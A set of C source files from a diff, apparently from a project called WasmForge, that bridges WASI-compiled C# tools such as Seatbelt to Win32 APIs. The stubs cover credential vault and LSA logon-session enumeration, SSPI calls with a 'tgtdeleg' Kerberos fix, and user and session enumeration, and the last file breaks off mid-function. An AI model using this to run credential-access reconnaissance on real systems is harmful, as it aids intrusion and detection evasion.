* pinvoke_net_ext.c — Unprefixed C bridge stubs for NativeAOT-LLVM linker resolution.
*
* AUTO-DISCOVERED: These symbols appeared as undefined when building Seatbelt and other
* C# tools against the WasmForge NativeAOT-WASI pipeline.
*
* DESIGN: Each stub forwards to wf_call(), which dispatches to the real Win32 API on
* the host via SyscallN with linear-memory pointer translation.
*
* NAMING CONVENTION: Functions are UNPREFIXED (e.g., "NetUserEnum", not
* "netapi32_NetUserEnum"). NativeAOT-LLVM resolves DllImport symbols by bare function
* name when the csproj contains <DirectPInvoke Include="netapi32" /> etc. The prefixed
* stubs in pinvoke_nativeaot.c serve the WfHostBridge.cs explicit EntryPoint path and
* are a separate mechanism.
*
* POINTER ARGS: All pointer arguments are uint64_t (WASM linear-memory offset). The
* host bridge translates these to real host addresses before each Win32 call.
*
* SCALAR ARGS: Small scalars (DWORD, BOOL, ULONG) use uint32_t in the function
* signature but are widened to uint64_t at the wf_call() call site with an explicit
* cast: (uint64_t)val.
*
* W-SUFFIX ALIASES: Where the undefined symbol name has no W suffix but the real
* Win32 API is Unicode (e.g., RpcStringBindingCompose → RpcStringBindingComposeW),
* the wf_call() target uses the W-suffixed name.
*
* Groups: iphlpapi.dll, netapi32.dll, rpcrt4.dll, vaultcli.dll, wtsapi32.dll
*/
#include "wf_bridge.h"
/* ── iphlpapi.dll ──────────────────────────────────────────────────────────── */
/*
* DWORD GetExtendedTcpTable(
* PVOID pTcpTable, PDWORD pdwSize, BOOL bOrder,
* ULONG ulAf, TCP_TABLE_CLASS TableClass, ULONG Reserved)
*/
uint32_t GetExtendedTcpTable(uint32_t pTcpTable, uint32_t pdwSize, uint32_t bOrder, uint32_t ulAf, uint32_t TableClass, uint32_t Reserved) {
return (uint32_t)wf_call("iphlpapi.dll", "GetExtendedTcpTable", 6,
(uint64_t)pTcpTable, (uint64_t)pdwSize, (uint64_t)bOrder,
(uint64_t)ulAf, (uint64_t)TableClass, (uint64_t)Reserved);
}
/*
* DWORD GetExtendedUdpTable(
* PVOID pUdpTable, PDWORD pdwSize, BOOL bOrder,
* ULONG ulAf, UDP_TABLE_CLASS TableClass, ULONG Reserved)
*/
uint32_t GetExtendedUdpTable(uint32_t pUdpTable, uint32_t pdwSize, uint32_t bOrder, uint32_t ulAf, uint32_t TableClass, uint32_t Reserved) {
return (uint32_t)wf_call("iphlpapi.dll", "GetExtendedUdpTable", 6,
(uint64_t)pUdpTable, (uint64_t)pdwSize, (uint64_t)bOrder,
(uint64_t)ulAf, (uint64_t)TableClass, (uint64_t)Reserved);
}
/* ── netapi32.dll ──────────────────────────────────────────────────────────── */
/*
* void NetFreeAadJoinInformation(PDSREG_JOIN_INFO pJoinInfo)
* Returns void; stub returns uint32_t to satisfy linker.
*/
uint32_t NetFreeAadJoinInformation(uint32_t pJoinInfo) {
return (uint32_t)wf_call("netapi32.dll", "NetFreeAadJoinInformation", 1,
(uint64_t)pJoinInfo);
}
/*
* HRESULT NetGetAadJoinInformation(
* PCWSTR pcszTenantId, PDSREG_JOIN_INFO *ppJoinInfo)
*/
uint32_t NetGetAadJoinInformation(uint32_t pcszTenantId, uint32_t ppJoinInfo) {
return (uint32_t)wf_call("netapi32.dll", "NetGetAadJoinInformation", 2,
(uint64_t)pcszTenantId, (uint64_t)ppJoinInfo);
}
/*
* NET_API_STATUS NetGetJoinInformation(
* LPCWSTR lpServer, LPWSTR *lpNameBuffer, PNETSETUP_JOIN_STATUS BufferType)
*/
uint32_t NetGetJoinInformation(uint32_t lpServer, uint32_t lpNameBuffer, uint32_t BufferType) {
return (uint32_t)wf_call("netapi32.dll", "NetGetJoinInformation", 3,
(uint64_t)lpServer, (uint64_t)lpNameBuffer, (uint64_t)BufferType);
}
/*
* NET_API_STATUS NetLocalGroupEnum(
* LPCWSTR servername, DWORD level, LPBYTE *bufptr,
* DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries,
* PDWORD_PTR resumehandle)
*/
uint32_t NetLocalGroupEnum(uint32_t servername, uint32_t level, uint32_t bufptr, uint32_t prefmaxlen, uint32_t entriesread, uint32_t totalentries, uint32_t resumehandle) {
return (uint32_t)wf_call("netapi32.dll", "NetLocalGroupEnum", 7,
(uint64_t)servername, (uint64_t)level, (uint64_t)bufptr,
(uint64_t)prefmaxlen, (uint64_t)entriesread, (uint64_t)totalentries, (uint64_t)resumehandle);
}
/*
* NET_API_STATUS NetLocalGroupGetMembers(
* LPCWSTR servername, LPCWSTR localgroupname, DWORD level,
* LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread,
* LPDWORD totalentries, PDWORD_PTR resumehandle)
*/
uint32_t NetLocalGroupGetMembers(uint32_t servername, uint32_t localgroupname, uint32_t level, uint32_t bufptr, uint32_t prefmaxlen, uint32_t entriesread, uint32_t totalentries, uint32_t resumehandle) {
return (uint32_t)wf_call("netapi32.dll", "NetLocalGroupGetMembers", 8,
(uint64_t)servername, (uint64_t)localgroupname, (uint64_t)level,
(uint64_t)bufptr, (uint64_t)prefmaxlen, (uint64_t)entriesread,
(uint64_t)totalentries, (uint64_t)resumehandle);
}
/*
* NET_API_STATUS NetUserEnum(
* LPCWSTR servername, DWORD level, DWORD filter,
* LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread,
* LPDWORD totalentries, LPDWORD resume_handle)
*/
uint32_t NetUserEnum(uint32_t servername, uint32_t level, uint32_t filter, uint32_t bufptr, uint32_t prefmaxlen, uint32_t entriesread, uint32_t totalentries, uint32_t resume_handle) {
return (uint32_t)wf_call("netapi32.dll", "NetUserEnum", 8,
(uint64_t)servername, (uint64_t)level, (uint64_t)filter,
(uint64_t)bufptr, (uint64_t)prefmaxlen, (uint64_t)entriesread,
(uint64_t)totalentries, (uint64_t)resume_handle);
}
/* ── rpcrt4.dll ────────────────────────────────────────────────────────────── */
/*
* RPC_STATUS RpcBindingFromStringBinding(
* RPC_WSTR StringBinding, RPC_BINDING_HANDLE *Binding)
* Undefined symbol: RpcBindingFromStringBinding → real API: RpcBindingFromStringBindingW
*/
uint32_t RpcBindingFromStringBinding(uint32_t StringBinding, uint32_t Binding) {
return (uint32_t)wf_call("rpcrt4.dll", "RpcBindingFromStringBindingW", 2,
(uint64_t)StringBinding, (uint64_t)Binding);
}
/*
* RPC_STATUS RpcBindingToStringBinding(
* RPC_BINDING_HANDLE Binding, RPC_WSTR *StringBinding)
* Undefined symbol: RpcBindingToStringBinding → real API: RpcBindingToStringBindingW
*/
uint32_t RpcBindingToStringBinding(uint32_t Binding, uint32_t StringBinding) {
return (uint32_t)wf_call("rpcrt4.dll", "RpcBindingToStringBindingW", 2,
(uint64_t)Binding, (uint64_t)StringBinding);
}
/*
* RPC_STATUS RpcMgmtEpEltInqBegin(
* RPC_BINDING_HANDLE EpBinding, ULONG InquiryType, RPC_IF_ID *IfId,
* ULONG VersOption, UUID *ObjectUuid, RPC_EP_INQ_HANDLE *InquiryContext)
*/
uint32_t RpcMgmtEpEltInqBegin(uint32_t EpBinding, uint32_t InquiryType, uint32_t IfId, uint32_t VersOption, uint32_t ObjectUuid, uint32_t InquiryContext) {
return (uint32_t)wf_call("rpcrt4.dll", "RpcMgmtEpEltInqBegin", 6,
(uint64_t)EpBinding, (uint64_t)InquiryType, (uint64_t)IfId,
(uint64_t)VersOption, (uint64_t)ObjectUuid, (uint64_t)InquiryContext);
}
/*
* RPC_STATUS RpcMgmtEpEltInqDone(RPC_EP_INQ_HANDLE *InquiryContext)
*/
uint32_t RpcMgmtEpEltInqDone(uint32_t InquiryContext) {
return (uint32_t)wf_call("rpcrt4.dll", "RpcMgmtEpEltInqDone", 1,
(uint64_t)InquiryContext);
}
/*
* RPC_STATUS RpcMgmtEpEltInqNext(
* RPC_EP_INQ_HANDLE InquiryContext, RPC_IF_ID *IfId,
* RPC_BINDING_HANDLE *Binding, UUID *ObjectUuid, RPC_WSTR *Annotation)
*/
uint32_t RpcMgmtEpEltInqNext(uint32_t InquiryContext, uint32_t IfId, uint32_t Binding, uint32_t ObjectUuid, uint32_t Annotation) {
return (uint32_t)wf_call("rpcrt4.dll", "RpcMgmtEpEltInqNext", 5,
(uint64_t)InquiryContext, (uint64_t)IfId, (uint64_t)Binding, (uint64_t)ObjectUuid, (uint64_t)Annotation);
}
/*
* RPC_STATUS RpcStringBindingCompose(
* RPC_WSTR ObjUuid, RPC_WSTR Protseq, RPC_WSTR NetworkAddr,
* RPC_WSTR Endpoint, RPC_WSTR Options, RPC_WSTR *StringBinding)
* Undefined symbol: RpcStringBindingCompose → real API: RpcStringBindingComposeW
*/
uint32_t RpcStringBindingCompose(uint32_t ObjUuid, uint32_t Protseq, uint32_t NetworkAddr, uint32_t Endpoint, uint32_t Options, uint32_t StringBinding) {
return (uint32_t)wf_call("rpcrt4.dll", "RpcStringBindingComposeW", 6,
(uint64_t)ObjUuid, (uint64_t)Protseq, (uint64_t)NetworkAddr, (uint64_t)Endpoint, (uint64_t)Options, (uint64_t)StringBinding);
}
/*
* RPC_STATUS RpcStringFree(RPC_WSTR *String)
* Undefined symbol: RpcStringFree → real API: RpcStringFreeW
*/
uint32_t RpcStringFree(uint32_t String) {
return (uint32_t)wf_call("rpcrt4.dll", "RpcStringFreeW", 1,
(uint64_t)String);
}
/* ── vaultcli.dll ──────────────────────────────────────────────────────────── */
/*
* DWORD VaultCloseVault(VAULT_HANDLE *vaultHandle)
*/
uint32_t VaultCloseVault(uint32_t vaultHandle) {
return (uint32_t)wf_call("vaultcli.dll", "VaultCloseVault", 1,
(uint64_t)vaultHandle);
}
/*
* DWORD VaultEnumerateItems(
* VAULT_HANDLE vaultHandle, DWORD chunkSize,
* DWORD *vaultItemCount, PVAULT_ITEM *items)
*/
uint32_t VaultEnumerateItems(uint32_t vaultHandle, uint32_t chunkSize, uint32_t vaultItemCount, uint32_t items) {
return (uint32_t)wf_call("vaultcli.dll", "VaultEnumerateItems", 4,
(uint64_t)vaultHandle, (uint64_t)chunkSize, (uint64_t)vaultItemCount, (uint64_t)items);
}
/*
* DWORD VaultEnumerateVaults(DWORD dwFlags, DWORD *vaultCount, GUID **vaultGuid)
*/
uint32_t VaultEnumerateVaults(uint32_t dwFlags, uint32_t vaultCount, uint32_t vaultGuid) {
return (uint32_t)wf_call("vaultcli.dll", "VaultEnumerateVaults", 3,
(uint64_t)dwFlags, (uint64_t)vaultCount, (uint64_t)vaultGuid);
}
/*
* DWORD VaultFree(PVOID memory)
*/
uint32_t VaultFree(uint32_t memory) {
return (uint32_t)wf_call("vaultcli.dll", "VaultFree", 1,
(uint64_t)memory);
}
/*
* DWORD VaultGetItem(
* VAULT_HANDLE vaultHandle, GUID *schemaId,
* PVAULT_ITEM_ELEMENT pResource, PVAULT_ITEM_ELEMENT pIdentity,
* PVAULT_ITEM_ELEMENT pPackageSid, HWND hwndOwner,
* DWORD dwFlags, PVAULT_ITEM *ppItem)
*/
uint32_t VaultGetItem(uint32_t vaultHandle, uint32_t schemaId, uint32_t pResource, uint32_t pIdentity, uint32_t pPackageSid, uint32_t hwndOwner, uint32_t dwFlags, uint32_t ppItem) {
return (uint32_t)wf_call("vaultcli.dll", "VaultGetItem", 8,
(uint64_t)vaultHandle, (uint64_t)schemaId, (uint64_t)pResource, (uint64_t)pIdentity,
(uint64_t)pPackageSid, (uint64_t)hwndOwner, (uint64_t)dwFlags, (uint64_t)ppItem);
}
/*
* DWORD VaultOpenVault(GUID *vaultGuid, DWORD dwFlags, VAULT_HANDLE *vaultHandle)
*/
uint32_t VaultOpenVault(uint32_t vaultGuid, uint32_t dwFlags, uint32_t vaultHandle) {
return (uint32_t)wf_call("vaultcli.dll", "VaultOpenVault", 3,
(uint64_t)vaultGuid, (uint64_t)dwFlags, (uint64_t)vaultHandle);
}
/* ── wtsapi32.dll ──────────────────────────────────────────────────────────── */
/*
* void WTSCloseServer(HANDLE hServer)
* Returns void; stub returns uint32_t to satisfy linker.
*/
uint32_t WTSCloseServer(uint32_t hServer) {
return (uint32_t)wf_call("wtsapi32.dll", "WTSCloseServer", 1,
(uint64_t)hServer);
}
/*
* BOOL WTSEnumerateSessionsEx(
* HANDLE hServer, DWORD *pLevel, DWORD Filter,
* PWTS_SESSION_INFO_1W *ppSessionInfo, DWORD *pCount)
* Undefined symbol: WTSEnumerateSessionsEx → real API: WTSEnumerateSessionsExW
*/
uint32_t WTSEnumerateSessionsEx(uint32_t hServer, uint32_t pLevel, uint32_t Filter, uint32_t ppSessionInfo, uint32_t pCount) {
return (uint32_t)wf_call("wtsapi32.dll", "WTSEnumerateSessionsExW", 5,
(uint64_t)hServer, (uint64_t)pLevel, (uint64_t)Filter, (uint64_t)ppSessionInfo, (uint64_t)pCount);
}
/*
* void WTSFreeMemory(PVOID pMemory)
* Returns void; stub returns uint32_t to satisfy linker.
*/
uint32_t WTSFreeMemory(uint32_t pMemory) {
return (uint32_t)wf_call("wtsapi32.dll", "WTSFreeMemory", 1,
(uint64_t)pMemory);
}
/*
* HANDLE WTSOpenServer(LPWSTR pServerName)
* Returns HANDLE (opaque 64-bit value on x64).
* Undefined symbol: WTSOpenServer → real API: WTSOpenServerW
*/
uint32_t WTSOpenServer(uint32_t pServerName) {
return (uint32_t)wf_call("wtsapi32.dll", "WTSOpenServerW", 1,
(uint64_t)pServerName);
}
+125
View File
@@ -0,0 +1,125 @@
// pinvoke_secur32_ext.c — secur32.dll P/Invoke bridge stubs for NativeAOT-WASI.
//
// Auto-discovered as undefined symbols when building Seatbelt against WasmForge.
// Each stub forwards to wf_call() which dispatches to the real Win32 API on the
// host. The unprefixed naming convention (e.g. LsaGetLogonSessionData, NOT
// secur32_LsaGetLogonSessionData) is what NativeAOT-LLVM expects when the .csproj
// contains <DirectPInvoke Include="secur32" />.
//
// All pointer arguments are uint64_t (WASM linear-memory offsets; the host bridge
// translates them to host pointers). Small scalars are uint32_t in the parameter
// list and cast to uint64_t at the wf_call site.
#include "wf_bridge.h"
// AcceptSecurityContext
// SECURITY_STATUS AcceptSecurityContext(
// SEC_HANDLE *phCredential, SEC_HANDLE *phContext, SecBufferDesc *pInput,
// ULONG fContextReq, ULONG TargetDataRep, SEC_HANDLE *phNewContext,
// SecBufferDesc *pOutput, ULONG *pfContextAttr, TimeStamp *ptsExpiry)
uint32_t AcceptSecurityContext(uint32_t phCredential, uint32_t phContext, uint32_t pInput, uint32_t fContextReq, uint32_t TargetDataRep, uint32_t phNewContext, uint32_t pOutput, uint32_t pfContextAttr, uint32_t ptsExpiry) {
return (uint32_t)wf_call("secur32.dll", "AcceptSecurityContext", 9,
(uint64_t)phCredential, (uint64_t)phContext, (uint64_t)pInput,
(uint64_t)fContextReq, (uint64_t)TargetDataRep, (uint64_t)phNewContext,
(uint64_t)pOutput, (uint64_t)pfContextAttr, (uint64_t)ptsExpiry);
}
// AcquireCredentialsHandle
// SECURITY_STATUS AcquireCredentialsHandleW(
// LPCWSTR pPrincipal, LPCWSTR pPackage, ULONG fCredentialUse,
// void *pvLogonID, void *pAuthData, void *pGetKeyFn,
// void *pvGetKeyArgument, SEC_HANDLE *phCredential, TimeStamp *ptsExpiry)
uint32_t AcquireCredentialsHandle(uint32_t pPrincipal, uint32_t pPackage, uint32_t fCredentialUse, uint32_t pvLogonID, uint32_t pAuthData, uint32_t pGetKeyFn, uint32_t pvGetKeyArgument, uint32_t phCredential, uint32_t ptsExpiry) {
return (uint32_t)wf_call("secur32.dll", "AcquireCredentialsHandleW", 9,
(uint64_t)pPrincipal, (uint64_t)pPackage, (uint64_t)fCredentialUse,
(uint64_t)pvLogonID, (uint64_t)pAuthData, (uint64_t)pGetKeyFn,
(uint64_t)pvGetKeyArgument, (uint64_t)phCredential, (uint64_t)ptsExpiry);
}
// EnumerateSecurityPackages
// SECURITY_STATUS EnumerateSecurityPackagesW(
// ULONG *pcPackages, PSecPkgInfo *ppPackageInfo)
uint32_t EnumerateSecurityPackages(uint32_t pcPackages, uint32_t ppPackageInfo) {
return (uint32_t)wf_call("secur32.dll", "EnumerateSecurityPackagesW", 2,
(uint64_t)pcPackages, (uint64_t)ppPackageInfo);
}
// FreeContextBuffer
// SECURITY_STATUS FreeContextBuffer(void *pvContextBuffer)
uint32_t FreeContextBuffer(uint32_t pvContextBuffer) {
return (uint32_t)wf_call("secur32.dll", "FreeContextBuffer", 1,
(uint64_t)pvContextBuffer);
}
// InitializeSecurityContext
// SECURITY_STATUS InitializeSecurityContextW(
// SEC_HANDLE *phCredential, SEC_HANDLE *phContext, LPCWSTR pTargetName,
// ULONG fContextReq, ULONG Reserved1, ULONG TargetDataRep,
// SecBufferDesc *pInput, ULONG Reserved2, SEC_HANDLE *phNewContext,
// SecBufferDesc *pOutput, ULONG *pfContextAttr, TimeStamp *ptsExpiry)
uint32_t InitializeSecurityContext(uint32_t phCredential, uint32_t phContext, uint32_t pTargetName, uint32_t fContextReq, uint32_t Reserved1, uint32_t TargetDataRep, uint32_t pInput, uint32_t Reserved2, uint32_t phNewContext, uint32_t pOutput, uint32_t pfContextAttr, uint32_t ptsExpiry) {
return (uint32_t)wf_call("secur32.dll", "InitializeSecurityContextW", 12,
(uint64_t)phCredential, (uint64_t)phContext, (uint64_t)pTargetName,
(uint64_t)fContextReq, (uint64_t)Reserved1, (uint64_t)TargetDataRep,
(uint64_t)pInput, (uint64_t)Reserved2, (uint64_t)phNewContext,
(uint64_t)pOutput, (uint64_t)pfContextAttr, (uint64_t)ptsExpiry);
}
// Gap 3 / Task 3.5 — Tier 1 SSPI tgtdeleg fix.
//
// WfSspi_InitializeSecurityContext_HostOutput: variant of
// InitializeSecurityContextW where pOutput is a HOST address
// (returned by WfHost.GetHostAddress on a SecBufferDesc allocated in
// host memory). The bare-typed `uint32_t pOutput` on the standard
// bridge truncates the upper 4 bytes of an x64 host address, dropping
// pointers above the 4GB boundary on the loader.
//
// All other args remain WASM pointers / scalars (translated normally
// by wf_call). pOutputHost passes through because values >= wasmMemSize
// are skipped by the WASM-pointer-translation pass — see
// internal/hostmod/win32_windows_dll.go:1121.
//
// C# helper signature:
// uint WfSspi_InitializeSecurityContext_HostOutput(
// IntPtr phCredential, IntPtr phContext, string pTargetName,
// uint fContextReq, uint Reserved1, uint TargetDataRep,
// IntPtr pInput, uint Reserved2, IntPtr phNewContext,
// ulong pOutputHost,
// out uint pfContextAttr, out long ptsExpiry);
uint32_t WfSspi_InitializeSecurityContext_HostOutput(
uint32_t phCredential, uint32_t phContext, uint32_t pTargetName,
uint32_t fContextReq, uint32_t Reserved1, uint32_t TargetDataRep,
uint32_t pInput, uint32_t Reserved2, uint32_t phNewContext,
uint64_t pOutputHost,
uint32_t pfContextAttr, uint32_t ptsExpiry)
{
return (uint32_t)wf_call("secur32.dll", "InitializeSecurityContextW", 12,
(uint64_t)phCredential, (uint64_t)phContext, (uint64_t)pTargetName,
(uint64_t)fContextReq, (uint64_t)Reserved1, (uint64_t)TargetDataRep,
(uint64_t)pInput, (uint64_t)Reserved2, (uint64_t)phNewContext,
pOutputHost, // host address — already full 8 bytes
(uint64_t)pfContextAttr, (uint64_t)ptsExpiry);
}
// LsaEnumerateLogonSessions
// NTSTATUS LsaEnumerateLogonSessions(
// PULONG LogonSessionCount, PLUID *LogonSessionList)
uint32_t LsaEnumerateLogonSessions(uint32_t LogonSessionCount, uint32_t LogonSessionList) {
return (uint32_t)wf_call("secur32.dll", "LsaEnumerateLogonSessions", 2,
(uint64_t)LogonSessionCount, (uint64_t)LogonSessionList);
}
// LsaFreeReturnBuffer
// NTSTATUS LsaFreeReturnBuffer(PVOID Buffer)
uint32_t LsaFreeReturnBuffer(uint32_t Buffer) {
return (uint32_t)wf_call("secur32.dll", "LsaFreeReturnBuffer", 1,
(uint64_t)Buffer);
}
// LsaGetLogonSessionData
// NTSTATUS LsaGetLogonSessionData(
// PLUID LogonId, PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData)
uint32_t LsaGetLogonSessionData(uint32_t LogonId, uint32_t ppLogonSessionData) {
return (uint32_t)wf_call("secur32.dll", "LsaGetLogonSessionData", 2,
(uint64_t)LogonId, (uint64_t)ppLogonSessionData);
}
+58
View File
@@ -0,0 +1,58 @@
// pinvoke_wevtapi_ext.c — wevtapi.dll P/Invoke bridge for NativeAOT-WASI.
// Forwards EvtQuery / EvtNext / EvtRender / EvtClose to wf_call.
//
// EVT_HANDLE is 8 bytes on x64 — these stubs return uint64_t (not
// uint32_t) so the high 32 bits of the handle survive the bridge.
// The C# DllImport declarations on the helper side declare `long`
// (mapped to wasi-wasm i64) instead of `IntPtr` (i32 on wasm32) to
// match.
//
// All Evt* exports are picked up by EmitDirectPInvokeProps which scans
// the helper's [DllImport("wevtapi.dll", ...)] attributes — no patcher
// rule required to wire the csproj.
#include "wf_bridge.h"
// EVT_HANDLE EvtQuery(EVT_HANDLE Session, LPCWSTR Path, LPCWSTR Query, DWORD Flags);
// Returns the 8-byte result-set handle. Session is normally NULL (0).
uint64_t EvtQuery(uint64_t Session, uint32_t Path, uint32_t Query, uint32_t Flags) {
return wf_call("wevtapi.dll", "EvtQuery", 4,
(uint64_t)Session, (uint64_t)Path, (uint64_t)Query, (uint64_t)Flags);
}
// BOOL EvtNext(EVT_HANDLE ResultSet, DWORD EventsSize, EVT_HANDLE* Events,
// DWORD Timeout, DWORD Flags, DWORD* Returned);
// Events is array of EVT_HANDLE (8 bytes each on x64). The C# helper
// passes an 8-byte buffer via Marshal.AllocHGlobal(8); out8_mask bit 2
// skips the 4-byte overflow protection so the host can write all 8 bytes.
// Returns BOOL (1=success, 0=failure).
uint32_t EvtNext(uint64_t ResultSet, uint32_t EventsSize, uint32_t Events,
uint32_t Timeout, uint32_t Flags, uint32_t Returned) {
return (uint32_t)wf_call_v2("wevtapi.dll", "EvtNext", 6,
/*out8_mask*/ (1u<<2),
(uint64_t)ResultSet, (uint64_t)EventsSize, (uint64_t)Events,
(uint64_t)Timeout, (uint64_t)Flags, (uint64_t)Returned);
}
// BOOL EvtRender(EVT_HANDLE Context, EVT_HANDLE Fragment, DWORD Flags,
// DWORD BufferSize, void* Buffer,
// DWORD* BufferUsed, DWORD* PropertyCount);
// Context can be NULL (0). Fragment is the per-event handle.
// Buffer is a caller-allocated WASM byte buffer >= BufferSize bytes —
// use wf_call_v2 with out8_mask bit 4 set so the overflow guard does
// NOT save+restore bytes 4-7 of the buffer (otherwise EvtRender's
// rendered XML would be corrupted at chars 2-3).
uint32_t EvtRender(uint64_t Context, uint64_t Fragment, uint32_t Flags,
uint32_t BufferSize, uint32_t Buffer,
uint32_t BufferUsed, uint32_t PropertyCount) {
return (uint32_t)wf_call_v2("wevtapi.dll", "EvtRender", 7,
/*out8_mask*/ (1u<<4), // Buffer is data output > 4 bytes
(uint64_t)Context, (uint64_t)Fragment, (uint64_t)Flags,
(uint64_t)BufferSize, (uint64_t)Buffer,
(uint64_t)BufferUsed, (uint64_t)PropertyCount);
}
// BOOL EvtClose(EVT_HANDLE Object);
uint32_t EvtClose(uint64_t Object) {
return (uint32_t)wf_call("wevtapi.dll", "EvtClose", 1, (uint64_t)Object);
}
+29
View File
@@ -0,0 +1,29 @@
// pinvoke_winspool_ext.c — winspool.drv P/Invoke bridge for NativeAOT-WASI.
// Forwards EnumPrintersW to wf_call.
//
// Seatbelt's PrintersCommand was disabled via patcher rule
// ("Printers: disable (winspool bridge crash)") because the BCL
// DllImport path crashed during struct marshaling. With this bridge
// providing a typed wf_call entry, the patcher rule is removed in
// Task 5.2 and the C# EnumPrinters chain works against winspool.drv.
//
// The BCL P/Invoke is "EnumPrinters" (no W) — DllImport convention
// is unset CharSet→ANSI by default, but Seatbelt uses Unicode strings.
// We dispatch to "EnumPrintersW" on the host regardless.
#include "wf_bridge.h"
// BOOL EnumPrintersW(DWORD Flags, LPWSTR Name, DWORD Level,
// LPBYTE pPrinterEnum, DWORD cbBuf,
// LPDWORD pcbNeeded, LPDWORD pcReturned);
// pPrinterEnum is an output buffer (caller-allocated, cbBuf-sized) —
// 4-byte overflow protection is fine because the host writes contiguous
// PRINTER_INFO_* records that the caller's WASM-side buffer accommodates.
uint32_t EnumPrinters(uint32_t Flags, uint32_t Name, uint32_t Level,
uint32_t pPrinterEnum, uint32_t cbBuf,
uint32_t pcbNeeded, uint32_t pcReturned) {
return (uint32_t)wf_call("winspool.drv", "EnumPrintersW", 7,
(uint64_t)Flags, (uint64_t)Name, (uint64_t)Level,
(uint64_t)pPrinterEnum, (uint64_t)cbBuf,
(uint64_t)pcbNeeded, (uint64_t)pcReturned);
}
+22
View File
@@ -0,0 +1,22 @@
// Complete pthread stubs for single-threaded WASM (NativeAOT runtime)
typedef struct { int dummy; } pthread_mutex_t;
typedef struct { int dummy; } pthread_mutexattr_t;
typedef struct { int dummy; } pthread_condattr_t;
typedef struct { int dummy; } pthread_cond_t;
int pthread_mutex_init(pthread_mutex_t *m, const pthread_mutexattr_t *a) { return 0; }
int pthread_mutex_destroy(pthread_mutex_t *m) { return 0; }
int pthread_mutex_lock(pthread_mutex_t *m) { return 0; }
int pthread_mutex_unlock(pthread_mutex_t *m) { return 0; }
int pthread_mutexattr_init(pthread_mutexattr_t *a) { return 0; }
int pthread_mutexattr_settype(pthread_mutexattr_t *a, int type) { return 0; }
int pthread_mutexattr_destroy(pthread_mutexattr_t *a) { return 0; }
int pthread_condattr_init(pthread_condattr_t *a) { return 0; }
int pthread_condattr_destroy(pthread_condattr_t *a) { return 0; }
int pthread_cond_init(pthread_cond_t *c, const pthread_condattr_t *a) { return 0; }
int pthread_cond_destroy(pthread_cond_t *c) { return 0; }
int pthread_cond_wait(pthread_cond_t *c, pthread_mutex_t *m) { return 0; }
int pthread_cond_broadcast(pthread_cond_t *c) { return 0; }
int pthread_cond_signal(pthread_cond_t *c) { return 0; }
int pthread_cond_timedwait(pthread_cond_t *c, pthread_mutex_t *m, const void *t) { return 0; }
int pthread_self() { return 1; }
+503
View File
@@ -0,0 +1,503 @@
// wf_bridge.c — WasmForge NativeAOT-WASI universal bridge.
//
// Provides wf_call() which bridges C# P/Invoke → WasmForge host SyscallN
// with automatic x64 overflow protection for wasm32 output parameters.
//
// THE PROBLEM:
// NativeAOT compiles to wasm32 (4-byte IntPtr). Windows x64 APIs write
// 8 bytes to `out IntPtr` / `out HANDLE` parameters. On wasm32, this
// overwrites 4 bytes of adjacent stack data, corrupting return addresses,
// other locals, or neighboring struct fields.
//
// THE FIX:
// For every argument that looks like a WASM pointer (value >= 0x10000 and
// < memory size), save the 4 bytes immediately following the pointed-to
// location BEFORE the call, then restore them AFTER. This is universal —
// it protects ALL output parameters without per-function knowledge.
//
// COMPILATION:
// clang --target=wasm32-wasi -O2 -c wf_bridge.c -o wf_bridge.o
#include "wf_bridge.h"
#include <stdarg.h>
#include <string.h>
#include <errno.h>
// ── DLL/Proc cache ──────────────────────────────────────────────────
#define MAX_CACHED_PROCS 256
typedef struct {
const char* dll_name;
const char* func_name;
uint32_t handle;
} cached_proc_t;
static cached_proc_t proc_cache[MAX_CACHED_PROCS];
static int proc_cache_count = 0;
// Last errno from wf_call.
static uint32_t last_error = 0;
uint32_t wf_get_last_error(void) {
return last_error;
}
uint32_t wf_resolve_proc(const char* dll_name, const char* func_name) {
// Check cache first.
for (int i = 0; i < proc_cache_count; i++) {
if (proc_cache[i].dll_name == dll_name &&
proc_cache[i].func_name == func_name) {
return proc_cache[i].handle;
}
}
// Load DLL.
uint32_t dll_handle = wf_load_library((uint32_t)(uintptr_t)dll_name);
if (dll_handle == 0) return 0;
// Resolve proc.
uint32_t proc_handle = wf_get_proc_address(dll_handle, (uint32_t)(uintptr_t)func_name);
if (proc_handle == 0) return 0;
// Cache it.
if (proc_cache_count < MAX_CACHED_PROCS) {
proc_cache[proc_cache_count].dll_name = dll_name;
proc_cache[proc_cache_count].func_name = func_name;
proc_cache[proc_cache_count].handle = proc_handle;
proc_cache_count++;
}
return proc_handle;
}
// ── Overflow protection helpers ─────────────────────────────────────
// WASM linear memory bounds. On wasm32, memory starts at 0 and grows.
// We use __builtin_wasm_memory_size to get the current page count.
static inline uint32_t wasm_memory_size(void) {
return (uint32_t)__builtin_wasm_memory_size(0) * 65536;
}
// is_wasm_ptr: Returns 1 if the value looks like a WASM linear memory pointer.
// Must be >= 0x10000 (above null page) and < current memory size.
static inline int is_wasm_ptr(uint64_t val) {
uint32_t v = (uint32_t)val;
return v >= 0x10000 && v < wasm_memory_size();
}
// Overflow guard: save/restore state for up to WF_MAX_ARGS args.
typedef struct {
uint32_t addr; // WASM address of the arg's pointed-to location
uint32_t saved[1]; // 4 bytes saved from addr+4
int active; // 1 if this slot is in use
} overflow_guard_t;
// ── wf_call implementation ──────────────────────────────────────────
uint64_t wf_call(const char* dll_name, const char* func_name, int nargs, ...) {
uint32_t proc = wf_resolve_proc(dll_name, func_name);
if (proc == 0) {
last_error = 0x7F; // ERROR_PROC_NOT_FOUND
return 0;
}
va_list ap;
va_start(ap, nargs);
uint64_t args[WF_MAX_ARGS];
overflow_guard_t guards[WF_MAX_ARGS];
memset(guards, 0, sizeof(guards));
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
args[i] = va_arg(ap, uint64_t);
}
va_end(ap);
// Fill remaining args with 0.
for (int i = nargs; i < WF_MAX_ARGS; i++) {
args[i] = 0;
}
// PRE-CALL: Save 4 bytes after each WASM pointer arg.
// This protects against x64 API writes overflowing 4-byte wasm32 slots.
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
if (is_wasm_ptr(args[i])) {
uint32_t addr = (uint32_t)args[i];
// Save bytes at addr+4 (the 4 bytes that x64 would overflow into).
// Only if addr+8 is within memory bounds.
if (addr + 8 <= wasm_memory_size()) {
guards[i].addr = addr;
